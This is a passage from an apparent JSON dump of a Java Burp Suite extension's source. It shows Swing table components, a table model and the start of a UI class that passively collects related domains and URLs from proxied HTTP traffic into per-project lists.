= new JButton(I18nUtils.get(\"similar.dialog.delete_project\"));\n        JButton selectButton = new JButton(I18nUtils.get(\"similar.dialog.select_project\"));\n\n        buttonPanel.add(addButton);\n        buttonPanel.add(deleteButton);\n        buttonPanel.add(selectButton);\n\n        add(new JScrollPane(projectList), BorderLayout.CENTER);\n        add(buttonPanel, BorderLayout.SOUTH);\n\n        // 添加事件监听\n        addButton.addActionListener(e -> showAddProjectDialog());\n        deleteButton.addActionListener(e -> deleteSelectedProject());\n        selectButton.addActionListener(e -> selectProject());\n    }\n\n    private void selectProject() {\n        if (isProcessingSelection) {\n            return;  // 防止重复处理\n        }\n\n        Project selected = projectList.getSelectedValue();\n        if (selected != null) {\n            isProcessingSelection = true;\n            try {\n                dispose();  // 先关闭对话框\n                onProjectSelected.accept(selected);  // 再触发回调\n            } finally {\n                isProcessingSelection = false;\n            }\n        }\n    }\n\n    private void showAddProjectDialog() {\n        String name = JOptionPane.showInputDialog(this, I18nUtils.get(\"similar.dialog.input_project_name\"));\n        if (name != null && !name.trim().isEmpty()) {\n            try {\n                // 创建项目Bean\n                SimilarProjectBean projectBean = new SimilarProjectBean(name);\n                // 保存到数据库\n                SimilarProjectDao.saveProject(projectBean);\n                // 重新加载项目列表\n                refreshProjectList();\n            } catch (Exception e) {\n                JOptionPane.showMessageDialog(this,\n                        I18nUtils.get(\"similar.dialog.create_project_failed\") + e.getMessage(),\n                        I18nUtils.get(\"similar.dialog.error\"),\n                        JOptionPane.ERROR_MESSAGE);\n            }\n        }\n    }\n\n    private void deleteSelectedProject() {\n        Project selected = projectList.getSelectedValue();\n        if (selected != null) {\n            int result = JOptionPane.showConfirmDialog(this,\n                    I18nUtils.get(\"similar.dialog.confirm_delete_project\") + selected.getName() + \"' 吗？\",\n                    I18nUtils.get(\"similar.dialog.confirm_delete\"),\n                    JOptionPane.YES_NO_OPTION);\n\n            if (result == JOptionPane.YES_OPTION) {\n                try {\n                    // 从数据库删除\n                    SimilarProjectDao.deleteProject(selected.getId());\n                    // 从列表中移除\n                    projects.remove(selected);\n                    listModel.removeElement(selected);\n                } catch (Exception e) {\n                    JOptionPane.showMessageDialog(this,\n                            I18nUtils.get(\"similar.dialog.delete_project_failed\") + e.getMessage(),\n                            I18nUtils.get(\"similar.dialog.error\"),\n                            JOptionPane.ERROR_MESSAGE);\n                }\n            }\n        }\n    }\n\n    private void refreshProjectList() {\n        try {\n            // 清空列表\n            listModel.clear();\n            projects.clear();\n            // 重新加载并转换类型\n            List<SimilarProjectBean> projectBeans = SimilarProjectDao.getAllProjects();\n            for (SimilarProjectBean bean : projectBeans) {\n                Project project = new Project(bean);\n                projects.add(project);\n                listModel.addElement(project);\n            }\n        } catch (Exception e) {\n            JOptionPane.showMessageDialog(this,\n                    I18nUtils.get(\"similar.dialog.refresh_project_list_failed\") + e.getMessage(),\n                    I18nUtils.get(\"similar.dialog.error\"),\n                    JOptionPane.ERROR_MESSAGE);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/table/DomainTable.java",
    "content": "package burp.ui.SimilarHelper.table;\n\nimport burp.ui.SimilarHelper.tablemodel.TableModel;\nimport burp.ui.SimilarHelper.TableRenderer;\nimport burp.ui.SimilarHelper.bean.Domain;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.table.TableColumnModel;\nimport java.awt.*;\nimport java.awt.datatransfer.StringSelection;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.awt.event.KeyEvent;\nimport java.util.Arrays;\nimport java.util.List;\n\n/**\n * 优化的域名表格组件\n */\npublic class DomainTable extends JTable {\n\n    /**\n     * 表格数据模型\n     */\n    private final TableModel model;\n\n    /**\n     * 表格是否已销毁\n     */\n    private boolean disposed = false;\n\n    /**\n     * 构造函数,初始化表格\n     */\n    public DomainTable() {\n        // 初始化表格模型\n        model = new TableModel(\n                new String[]{\"ID\", \"Domain\", \"IP\", \"Time\"},\n                1  // 域名列作为唯一键\n        );\n        setModel(model);\n\n        // 初始化表格设置\n        initializeTable();\n\n        // 设置右键菜单\n        setupContextMenu();\n\n        // 设置快捷键\n        setupKeyboardShortcuts();\n    }\n\n    /**\n     * 初始化表格基本设置\n     */\n    private void initializeTable() {\n        // 设置单元格渲染器\n        setDefaultRenderer(Object.class, new TableRenderer());\n\n        // 设置列宽\n        TableColumnModel columnModel = getColumnModel();\n        columnModel.getColumn(0).setPreferredWidth(50);     // ID列\n        columnModel.getColumn(1).setPreferredWidth(200);    // 域名列\n        columnModel.getColumn(2).setPreferredWidth(100);    // IP列\n        columnModel.getColumn(3).setPreferredWidth(150);    // 时间列\n\n        // 设置表格属性\n        setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS);\n        setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION); // 允许多选\n        setRowHeight(20);\n        setAutoCreateRowSorter(true);\n        setDoubleBuffered(true);\n    }\n\n    /**\n     * 设置键盘快捷键\n     */\n    private void setupKeyboardShortcuts() {\n        // 添加Ctrl+A全选快捷键\n        this.getInputMap().put(\n                KeyStroke.getKeyStroke(KeyEvent.VK_A, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()),\n                \"selectAll\"\n        );\n\n        // 添加Ctrl+C复制快捷键\n        this.getInputMap().put(\n                KeyStroke.getKeyStroke(KeyEvent.VK_C, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()),\n                \"copy\"\n        );\n\n        // 设置复制动作\n        this.getActionMap().put(\"copy\", new AbstractAction() {\n            @Override\n            public void actionPerformed(java.awt.event.ActionEvent e) {\n                copySelectedRows();\n            }\n        });\n    }\n\n    /**\n     * 设置右键菜单\n     */\n    private void setupContextMenu() {\n        JPopupMenu popupMenu = new JPopupMenu();\n\n        // 复制域名菜单项\n        JMenuItem copyDomainItem = new JMenuItem(I18nUtils.get(\"similar.table.copy_domain\"));\n        copyDomainItem.addActionListener(e -> copySelectedColumn(1));\n\n        // 复制IP菜单项\n        JMenuItem copyIPItem = new JMenuItem(I18nUtils.get(\"similar.table.copy_ip\"));\n        copyIPItem.addActionListener(e -> copySelectedColumn(2));\n\n        // 复制全部选中内容菜单项\n        JMenuItem copyAllSelectedItem = new JMenuItem(I18nUtils.get(\"similar.table.copy_selected\"));\n        copyAllSelectedItem.addActionListener(e -> copySelectedRows());\n\n        // 添加菜单项\n        popupMenu.add(copyDomainItem);\n        popupMenu.add(copyIPItem);\n        popupMenu.add(copyAllSelectedItem);\n\n        // 添加鼠标右键监听\n        this.addMouseListener(new MouseAdapter() {\n            @Override\n            public void mouseReleased(MouseEvent e) {\n                if (e.isPopupTrigger() && !disposed) {\n                    int row = rowAtPoint(e.getPoint());\n                    if (row >= 0) {\n                        // 如果点击的行未被选中,则选中该行\n                        if (!isRowSelected(row)) {\n                            setRowSelectionInterval(row, row);\n                        }\n                        popupMenu.show(e.getComponent(), e.getX(), e.getY());\n                    }\n                }\n            }\n        });\n    }\n\n    /**\n     * 复制选中的列数据\n     */\n    private void copySelectedColumn(int column) {\n        int[] rows = getSelectedRows();\n        if (rows.length == 0) {\n            return;\n        }\n\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < rows.length; i++) {\n            if (i > 0) {\n                sb.append(\"\\n\");\n            }\n            Object value = getValueAt(rows[i], column);\n            sb.append(value != null ? value.toString() : \"\");\n        }\n\n        copyToClipboard(sb.toString());\n    }\n\n    /**\n     * 复制选中的所有行数据\n     */\n    private void copySelectedRows() {\n        int[] rows = getSelectedRows();\n        if (rows.length == 0) {\n            return;\n        }\n\n        StringBuilder sb = new StringBuilder();\n        for (int row : rows) {\n            if (sb.length() > 0) {\n                sb.append(\"\\n\");\n            }\n            for (int col = 0; col < getColumnCount(); col++) {\n                if (col > 0) {\n                    sb.append(\"\\t\");\n                }\n                Object value = getValueAt(row, col);\n                sb.append(value != null ? value.toString() : \"\");\n            }\n        }\n\n        copyToClipboard(sb.toString());\n    }\n\n    /**\n     * 复制内容到剪贴板\n     */\n    private void copyToClipboard(String content) {\n        if (content == null || content.isEmpty()) {\n            return;\n        }\n\n        try {\n            StringSelection selection = new StringSelection(content);\n            Toolkit.getDefaultToolkit().getSystemClipboard().setContents(selection, null);\n        } catch (Exception e) {\n            Utils.stderr.println(\"复制到剪贴板失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 添加新的域名条目\n     */\n    public void addEntry(Domain entry) {\n        if (entry == null || entry.getDomain() == null || disposed) {\n            return;\n        }\n\n        SwingUtilities.invokeLater(() -> {\n            try {\n                List<Object> rowData = Arrays.asList(\n                        entry.getId(),\n                        entry.getDomain(),\n                        entry.getIp(),\n                        entry.getTimestamp()\n                );\n                model.addRow(rowData, entry.getDomain());\n\n                // 滚动到新添加的行\n                int lastRow = getRowCount() - 1;\n                if (lastRow >= 0) {\n                    scrollRectToVisible(getCellRect(lastRow, 0, true));\n                }\n            } catch (Exception e) {\n                Utils.stderr.println(\"添加域名表格行失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 刷新域名条目\n     */\n    public void refreshEntry(Domain entry) {\n        if (entry == null || entry.getDomain() == null || disposed) {\n            return;\n        }\n\n        SwingUtilities.invokeLater(() -> {\n            try {\n                String domain = entry.getDomain();\n                for (int i = 0; i < model.getRowCount(); i++) {\n                    if (domain.equals(model.getValueAt(i, 1))) {\n                        model.setValueAt(entry.getId(), i, 0);\n                        model.setValueAt(entry.getIp(), i, 2);\n                        model.setValueAt(entry.getTimestamp(), i, 3);\n                        break;\n                    }\n                }\n            } catch (Exception e) {\n                Utils.stderr.println(\"刷新域名表格行失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 清空表格数据\n     */\n    public void clearData() {\n        if (!disposed) {\n            SwingUtilities.invokeLater(() -> model.clearData());\n        }\n    }\n\n    /**\n     * 开始批量更新\n     */\n    public void startBatchUpdate() {\n        if (!disposed) {\n            model.startBatchUpdate();\n        }\n    }\n\n    /**\n     * 结束批量更新\n     */\n    public void endBatchUpdate() {\n        if (!disposed) {\n            model.endBatchUpdate();\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/table/URLTable.java",
    "content": "package burp.ui.SimilarHelper.table;\n\nimport burp.ui.SimilarHelper.tablemodel.TableModel;\nimport burp.ui.SimilarHelper.TableRenderer;\nimport burp.ui.SimilarHelper.bean.URL;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.table.TableColumnModel;\nimport java.awt.*;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\nimport java.awt.event.KeyEvent;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\n/**\n * URL表格组件\n * 用于展示和管理URL列表\n */\npublic class URLTable extends JTable {\n\n    /**\n     * 表格数据模型\n     */\n    private final TableModel model;\n\n    /**\n     * 右键菜单\n     */\n    private final JPopupMenu popupMenu;\n\n    /**\n     * 表格是否已销毁\n     */\n    private boolean disposed = false;\n\n    /**\n     * 构造函数\n     */\n    public URLTable() {\n        // 初始化表格模型\n        model = new TableModel(\n                new String[]{\"ID\", \"URL\", \"Time\"},\n                1  // URL列作为唯一键\n        );\n        setModel(model);\n\n        // 初始化表格基本设置\n        initializeTable();\n\n        // 初始化右键菜单\n        popupMenu = new JPopupMenu();\n        setupContextMenu();\n\n        // 设置快捷键\n        setupKeyboardShortcuts();\n    }\n\n    /**\n     * 初始化表格基本设置\n     */\n    private void initializeTable() {\n        // 设置单元格渲染器\n        setDefaultRenderer(Object.class, new TableRenderer());\n\n        // 设置列宽\n        TableColumnModel columnModel = getColumnModel();\n        columnModel.getColumn(0).setPreferredWidth(50);     // ID列\n        columnModel.getColumn(1).setPreferredWidth(400);    // URL列\n        columnModel.getColumn(2).setPreferredWidth(150);    // 时间列\n\n        // 设置表格属性\n        setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS);\n        setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION); // 允许多选\n        setRowHeight(20);\n        setAutoCreateRowSorter(true);\n        setDoubleBuffered(true);\n    }\n\n    /**\n     * 设置右键菜单\n     */\n    private void setupContextMenu() {\n        // 复制选中URL菜单项\n        JMenuItem copyUrlItem = new JMenuItem(I18nUtils.get(\"similar.table.copy_selected_url\"));\n        copyUrlItem.setMnemonic(KeyEvent.VK_C);\n        copyUrlItem.addActionListener(e -> copySelectedUrls());\n\n        // 复制全部URL菜单项\n        JMenuItem copyAllItem = new JMenuItem(I18nUtils.get(\"similar.table.copy_all_url\"));\n        copyAllItem.setMnemonic(KeyEvent.VK_A);\n        copyAllItem.addActionListener(e -> copyAllUrls());\n\n        // 清除选择菜单项\n        JMenuItem clearSelectionItem = new JMenuItem(I18nUtils.get(\"similar.table.clear_selection\"));\n        clearSelectionItem.setMnemonic(KeyEvent.VK_L);\n        clearSelectionItem.addActionListener(e -> clearSelection());\n\n        // 添加菜单项\n        popupMenu.add(copyUrlItem);\n        popupMenu.add(copyAllItem);\n        popupMenu.addSeparator();\n        popupMenu.add(clearSelectionItem);\n\n        // 添加鼠标监听器\n        addMouseListener(new MouseAdapter() {\n            @Override\n            public void mouseReleased(MouseEvent e) {\n                handleContextMenu(e);\n            }\n\n            @Override\n            public void mousePressed(MouseEvent e) {\n                handleContextMenu(e);\n            }\n        });\n    }\n\n    /**\n     * 处理右键菜单事件\n     */\n    private void handleContextMenu(MouseEvent e) {\n        if (!disposed && e.isPopupTrigger()) {\n            // 如果点击位置有行,且未被选中,则选中该行\n            int row = rowAtPoint(e.getPoint());\n            if (row >= 0 && !isRowSelected(row)) {\n                setRowSelectionInterval(row, row);\n            }\n\n            // 表格有数据时显示菜单\n            if (getRowCount() > 0) {\n                popupMenu.show(e.getComponent(), e.getX(), e.getY());\n            }\n        }\n    }\n\n    /**\n     * 设置键盘快捷键\n     */\n    private void setupKeyboardShortcuts() {\n        // 设置Ctrl+C复制快捷键\n        KeyStroke copy = KeyStroke.getKeyStroke(KeyEvent.VK_C,\n                Toolkit.getDefaultToolkit().getMenuShortcutKeyMask());\n        registerKeyboardAction(e -> copySelectedUrls(),\n                \"Copy\", copy, JComponent.WHEN_FOCUSED);\n\n        // 设置Ctrl+A全选快捷键\n        KeyStroke selectAll = KeyStroke.getKeyStroke(KeyEvent.VK_A,\n                Toolkit.getDefaultToolkit().getMenuShortcutKeyMask());\n        registerKeyboardAction(e -> selectAll(),\n                \"SelectAll\", selectAll, JComponent.WHEN_FOCUSED);\n    }\n\n    /**\n     * 复制选中的URL到剪贴板\n     */\n    private void copySelectedUrls() {\n        if (disposed) return;\n\n        int[] selectedRows = getSelectedRows();\n        if (selectedRows.length > 0) {\n            // 收集选中的URL并用换行符连接\n            String urls = Arrays.stream(selectedRows)\n                    .mapToObj(row -> getValueAt(row, 1).toString())\n                    .collect(Collectors.joining(\"\\n\"));\n\n            copyToClipboard(urls);\n            Utils.stdout.println(\"已复制 \" + selectedRows.length + \" 个URL到剪贴板\");\n        }\n    }\n\n    /**\n     * 复制所有URL到剪贴板\n     */\n    private void copyAllUrls() {\n        if (disposed) return;\n\n        if (getRowCount() > 0) {\n            // 收集所有URL并用换行符连接\n            String urls = IntStream.range(0, getRowCount())\n                    .mapToObj(row -> getValueAt(row, 1).toString())\n                    .collect(Collectors.joining(\"\\n\"));\n\n            copyToClipboard(urls);\n            Utils.stdout.println(\"已复制全部 \" + getRowCount() + \" 个URL到剪贴板\");\n        }\n    }\n\n    /**\n     * 复制文本到剪贴板\n     */\n    private void copyToClipboard(String text) {\n        if (text != null && !text.isEmpty()) {\n            try {\n                StringSelection selection = new StringSelection(text);\n                Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n                clipboard.setContents(selection, selection);\n            } catch (Exception e) {\n                Utils.stderr.println(\"复制到剪贴板失败: \" + e.getMessage());\n            }\n        }\n    }\n\n    /**\n     * 添加URL条目\n     */\n    public void addEntry(URL entry) {\n        if (entry == null || entry.getUrl() == null || disposed) {\n            return;\n        }\n\n        SwingUtilities.invokeLater(() -> {\n            try {\n                List<Object> rowData = Arrays.asList(\n                        entry.getId(),\n                        entry.getUrl(),\n                        entry.getTimestamp()\n                );\n                model.addRow(rowData, entry.getUrl());\n\n                // 滚动到新添加的行\n                int lastRow = getRowCount() - 1;\n                if (lastRow >= 0) {\n                    scrollRectToVisible(getCellRect(lastRow, 0, true));\n                }\n            } catch (Exception e) {\n                Utils.stderr.println(\"添加URL表格行失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 清空表格数据\n     */\n    public void clearData() {\n        if (!disposed) {\n            SwingUtilities.invokeLater(() -> model.clearData());\n        }\n    }\n\n    /**\n     * 开始批量更新\n     */\n    public void startBatchUpdate() {\n        if (!disposed) {\n            model.startBatchUpdate();\n        }\n    }\n\n    /**\n     * 结束批量更新\n     */\n    public void endBatchUpdate() {\n        if (!disposed) {\n            model.endBatchUpdate();\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/tablemodel/TableModel.java",
    "content": "package burp.ui.SimilarHelper.tablemodel;\n\nimport javax.swing.table.AbstractTableModel;\nimport java.util.*;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\n/**\n * 优化的表格数据模型\n * 支持批量更新、唯一键约束和线程安全操作\n */\npublic class TableModel extends AbstractTableModel {\n    // 存储表格数据的线程安全列表\n    private final List<List<Object>> data;\n    // 列名数组\n    private final String[] columnNames;\n    // 用于确保行的唯一性的键集合\n    private final Set<String> uniqueKeys;\n    // 用作唯一键的列索引\n    private final int keyColumnIndex;\n    // 批量更新标志\n    private boolean isUpdating = false;\n\n    /**\n     * 构造函数\n     *\n     * @param columnNames    列名数组\n     * @param keyColumnIndex 用作唯一键的列索引\n     */\n    public TableModel(String[] columnNames, int keyColumnIndex) {\n        this.columnNames = columnNames;\n        this.keyColumnIndex = keyColumnIndex;\n        this.data = new CopyOnWriteArrayList<>();\n        this.uniqueKeys = Collections.synchronizedSet(new HashSet<>());\n    }\n\n    @Override\n    public int getRowCount() {\n        return data.size();\n    }\n\n    @Override\n    public int getColumnCount() {\n        return columnNames.length;\n    }\n\n    @Override\n    public String getColumnName(int column) {\n        return columnNames[column];\n    }\n\n    @Override\n    public Object getValueAt(int row, int column) {\n        // 边界检查\n        if (row < 0 || row >= data.size() || column < 0 || column >= columnNames.length) {\n            return null;\n        }\n        List<Object> rowData = data.get(row);\n        return column < rowData.size() ? rowData.get(column) : null;\n    }\n\n    @Override\n    public void setValueAt(Object value, int row, int column) {\n        // 边界检查\n        if (row >= 0 && row < data.size() && column >= 0 && column < columnNames.length) {\n            List<Object> rowData = data.get(row);\n            if (column < rowData.size()) {\n                rowData.set(column, value);\n                // 非批量更新模式下才触发单元格更新事件\n                if (!isUpdating) {\n                    fireTableCellUpdated(row, column);\n                }\n            }\n        }\n    }\n\n    @Override\n    public boolean isCellEditable(int row, int column) {\n        return false;\n    }\n\n    /**\n     * 添加新行或更新现有行\n     * @param rowData 行数据\n     * @param uniqueKey 唯一键值\n     */\n    public synchronized void addRow(List<Object> rowData, String uniqueKey) {\n        if (!uniqueKeys.contains(uniqueKey)) {\n            // 新行添加\n            data.add(new ArrayList<>(rowData));\n            uniqueKeys.add(uniqueKey);\n\n            if (!isUpdating) {\n                fireTableRowsInserted(data.size() - 1, data.size() - 1);\n            }\n        } else {\n            // 更新现有行\n            int row = findRowByKey(uniqueKey);\n            if (row != -1) {\n                data.set(row, new ArrayList<>(rowData));\n                if (!isUpdating) {\n                    fireTableRowsUpdated(row, row);\n                }\n            }\n        }\n    }\n\n    /**\n     * 根据唯一键查找行索引\n     * @param key 唯一键值\n     * @return 行索引，未找到返回-1\n     */\n    private int findRowByKey(String key) {\n        for (int i = 0; i < data.size(); i++) {\n            List<Object> row = data.get(i);\n            if (row.size() > keyColumnIndex && key.equals(row.get(keyColumnIndex).toString())) {\n                return i;\n            }\n        }\n        return -1;\n    }\n\n    /**\n     * 开始批量更新，暂停表格刷新\n     */\n    public synchronized void startBatchUpdate() {\n        isUpdating = true;\n    }\n\n    /**\n     * 结束批量更新，触发表格刷新\n     */\n    public synchronized void endBatchUpdate() {\n        isUpdating = false;\n        fireTableDataChanged();\n    }\n\n    /**\n     * 清空表格数据\n     */\n    public synchronized void clearData() {\n        data.clear();\n        uniqueKeys.clear();\n        fireTableDataChanged();\n    }\n\n    /**\n     * 清理表格模型资源\n     * 在不再需要表格模型时调用此方法进行资源清理\n     */\n    public synchronized void cleanup() {\n        // 清空所有数据\n        clearData();\n\n        // 重置更新标志\n        isUpdating = false;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SimilarUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.SimilarDomainResultBean;\nimport burp.bean.SimilarProjectBean;\nimport burp.bean.SimilarUrlResultBean;\nimport burp.dao.SimilarDomainConfigDao;\nimport burp.dao.SimilarDomainResultDao;\nimport burp.dao.SimilarProjectDao;\nimport burp.dao.SimilarUrlResultDao;\nimport burp.ui.SimilarHelper.*;\nimport burp.ui.SimilarHelper.bean.Domain;\nimport burp.ui.SimilarHelper.bean.Project;\nimport burp.ui.SimilarHelper.bean.URL;\nimport burp.ui.SimilarHelper.dialog.DomainConfigDialog;\nimport burp.ui.SimilarHelper.dialog.ProjectManageDialog;\nimport burp.ui.SimilarHelper.table.DomainTable;\nimport burp.ui.SimilarHelper.table.URLTable;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.Timer;\nimport java.awt.*;\nimport java.io.IOException;\nimport java.net.InetAddress;\nimport java.sql.SQLException;\nimport java.util.*;\nimport java.util.List;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.CompletionException;\nimport java.util.concurrent.Semaphore;\nimport java.util.concurrent.TimeUnit;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * 相似域名扫描UI主类\n * 负责界面展示和用户交互\n */\npublic class SimilarUI implements UIHandler, IHttpListener {\n\n    // UI组件\n    private JPanel mainPanel;\n    private JLabel currentProjectLabel;\n    private JToggleButton scanButton;\n    private JButton projectManageButton;\n    private JButton domainConfigButton;\n    private DomainTable domainTable;\n    private URLTable urlTable;\n\n    // 核心功能状态\n    private boolean scanEnabled = false;\n    private boolean isReloading = false;\n    private boolean isSelectingProject = false;\n\n    // Burp相关组件\n    private IBurpExtenderCallbacks callbacks;\n    private IExtensionHelpers helpers;\n\n    // 业务数据\n    private Project currentProject;\n    private List<Project> projects = new ArrayList<>();\n\n    /**\n     * 初始化UI和数据\n     */\n    @Override\n    public void init() {\n        setupUI();\n        setupData();\n        loadProjects();\n    }\n\n    /**\n     * 获取主面板\n     */\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        this.callbacks = callbacks;\n        this.helpers = callbacks.getHelpers();\n        return mainPanel;\n    }\n\n    /**\n     * 获取标签页名称\n     */\n    @Override\n    public String getTabName() {\n        return \"Similar\";\n    }\n\n    /**\n     * 设置UI布局和组件\n     */\n    private void setupUI() {\n        Utils.callbacks.registerHttpListener(this);\n\n        // 创建主面板\n        mainPanel = new JPanel(new BorderLayout());\n\n        // 添加控制面板、分割面板和状态面板\n        mainPanel.add(createControlPanel(), BorderLayout.NORTH);\n        mainPanel.add(createSplitPane(), BorderLayout.CENTER);\n        mainPanel.add(createStatsPanel(), BorderLayout.SOUTH);\n    }\n\n    /**\n     * 创建控制面板\n     */\n    private JPanel createControlPanel() {\n        JPanel controlPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n\n        // 初始化控制组件\n        currentProjectLabel = new JLabel(I18nUtils.get(\"similar.label.project\"));\n        scanButton = new JToggleButton(I18nUtils.get(\"similar.button.scan\"));\n        projectManageButton = new JButton(I18nUtils.get(\"similar.button.manage\"));\n        domainConfigButton = new JButton(I18nUtils.get(\"similar.button.config\"));\n\n        // 添加按钮事件监听\n        setupControlButtons();\n\n        // 添加组件到面板\n        controlPanel.add(currentProjectLabel);\n        controlPanel.add(scanButton);\n        controlPanel.add(projectManageButton);\n        controlPanel.add(new JLabel(I18nUtils.get(\"similar.label.main_domain\")));\n        controlPanel.add(domainConfigButton);\n\n        return controlPanel;\n    }\n\n    /**\n     * 创建分割面板\n     */\n    private JSplitPane createSplitPane() {\n        JSplitPane splitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        splitPane.setResizeWeight(0.5);\n\n        // 域名表格面板\n        domainTable = new DomainTable();\n        JPanel domainPanel = new JPanel(new BorderLayout());\n        domainPanel.add(new JLabel(I18nUtils.get(\"similar.label.domain\")), BorderLayout.NORTH);\n        domainPanel.add(new JScrollPane(domainTable), BorderLayout.CENTER);\n        splitPane.setLeftComponent(domainPanel);\n\n        // URL表格面板\n        urlTable = new URLTable();\n        JPanel urlPanel = new JPanel(new BorderLayout());\n        urlPanel.add(new JLabel(I18nUtils.get(\"similar.label.url\")), BorderLayout.NORTH);\n        urlPanel.add(new JScrollPane(urlTable), BorderLayout.CENTER);\n        splitPane.setRightComponent(urlPanel);\n\n        return splitPane;\n    }\n\n    /**\n     * 创建状态面板\n     */\n    private JPanel createStatsPanel() {\n        JPanel statsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        JLabel statsLabel = new JLabel(I18nUtils.get(\"similar.label.stats\"));\n        statsPanel.add(statsLabel);\n\n        // 定时更新统计信息\n        Timer statsTimer = new Timer(5000, e -> {\n            // 获取缓存统计\n            Map<String, Integer> stats = CacheManager.getCacheStats();\n            statsLabel.setText(String.format(I18nUtils.get(\"similar.label.stats\") + \" %s | %s\",\n                    I18nUtils.get(\"similar.label.domain_cache\") + \": \" + stats.get(\"domainIpCache\"),\n                    I18nUtils.get(\"similar.label.url_cache\") + \": \" + stats.get(\"projectUrlCache\")));\n        });\n        statsTimer.start();\n\n        return statsPanel;\n    }\n\n    /**\n     * 设置按钮事件监听\n     */\n    private void setupControlButtons() {\n        scanButton.addActionListener(e -> handleScanButtonClick());\n        projectManageButton.addActionListener(e -> showProjectManageDialog());\n        domainConfigButton.addActionListener(e -> handleDomainConfigButtonClick());\n    }\n\n    /**\n     * 处理扫描按钮点击事件\n     */\n    private void handleScanButtonClick() {\n        if (currentProject == null && scanButton.isSelected()) {\n            JOptionPane.showMessageDialog(mainPanel, I18nUtils.get(\"similar.message.select_project\"));\n            scanButton.setSelected(false);\n        } else {\n            scanEnabled = scanButton.isSelected();\n            scanButton.setSelected(scanEnabled);\n        }\n    }\n\n    /**\n     * 处理域名配置按钮点击事件\n     */\n    private void handleDomainConfigButtonClick() {\n        if (currentProject == null) {\n            JOptionPane.showMessageDialog(mainPanel,\n                    \"请先选择项目!\",\n                    I18nUtils.get(\"config.title.info\"),\n                    JOptionPane.WARNING_MESSAGE);\n            return;\n        }\n\n        DomainConfigDialog dialog = new DomainConfigDialog(\n                SwingUtilities.getWindowAncestor(mainPanel),\n                currentProject\n        );\n        dialog.setVisible(true);\n    }\n\n    /**\n     * 设置扫描状态\n     */\n    public void setScanEnabled(boolean enabled) {\n        this.scanEnabled = enabled;\n        if (scanButton != null) {\n            scanButton.setSelected(enabled);\n        }\n    }\n\n    /**\n     * 加载项目列表\n     */\n    private void loadProjects() {\n        try {\n            List<SimilarProjectBean> projectBeans = SimilarProjectDao.getAllProjects();\n            projects.clear();\n            for (SimilarProjectBean bean : projectBeans) {\n                if (bean != null) {\n                    projects.add(new Project(bean));\n                }\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"加载项目列表失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 显示项目管理对话框\n     */\n    private void showProjectManageDialog() {\n        if (isSelectingProject) {\n            return;\n        }\n\n        ProjectManageDialog dialog = new ProjectManageDialog(\n                SwingUtilities.getWindowAncestor(mainPanel),\n                projects,\n                this::handleProjectSelection\n        );\n        dialog.setVisible(true);\n    }\n\n    /**\n     * 处理HTTP消息\n     */\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {\n        // 跳过不需要处理的情况\n        if (messageIsRequest || !scanEnabled || currentProject == null || isReloading) {\n            return;\n        }\n\n        ThreadManager.execute(() -> {\n            try {\n                processHttpResponse(messageInfo);\n            } catch (Exception e) {\n                callbacks.printError(\"处理HTTP消息失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 处理HTTP响应\n     */\n    private void processHttpResponse(IHttpRequestResponse messageInfo) {\n        // 分析请求URL\n        IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo);\n        String url = requestInfo.getUrl().toString();\n        if (shouldFilter(url)) {\n            return;\n        }\n\n        // 分析响应内容类型\n        IResponseInfo responseInfo = helpers.analyzeResponse(messageInfo.getResponse());\n        String contentType = getResponseContentType(responseInfo);\n        if (!isProcessableContentType(contentType)) {\n            return;\n        }\n\n        // 处理响应内容\n        processResponseContent(messageInfo, responseInfo);\n    }\n\n    /**\n     * 处理响应内容\n     */\n    private void processResponseContent(IHttpRequestResponse messageInfo, IResponseInfo responseInfo) {\n        if (isReloading || currentProject == null) {\n            return;\n        }\n\n        try {\n            byte[] response = messageInfo.getResponse();\n            int bodyOffset = responseInfo.getBodyOffset();\n\n            // 处理响应体\n            if (response.length - bodyOffset > 1024 * 1024) { // 大于1MB的响应分块处理\n                processLargeResponse(response, bodyOffset);\n            } else {\n                String responseBody = new String(Arrays.copyOfRange(response, bodyOffset, response.length), \"UTF-8\");\n                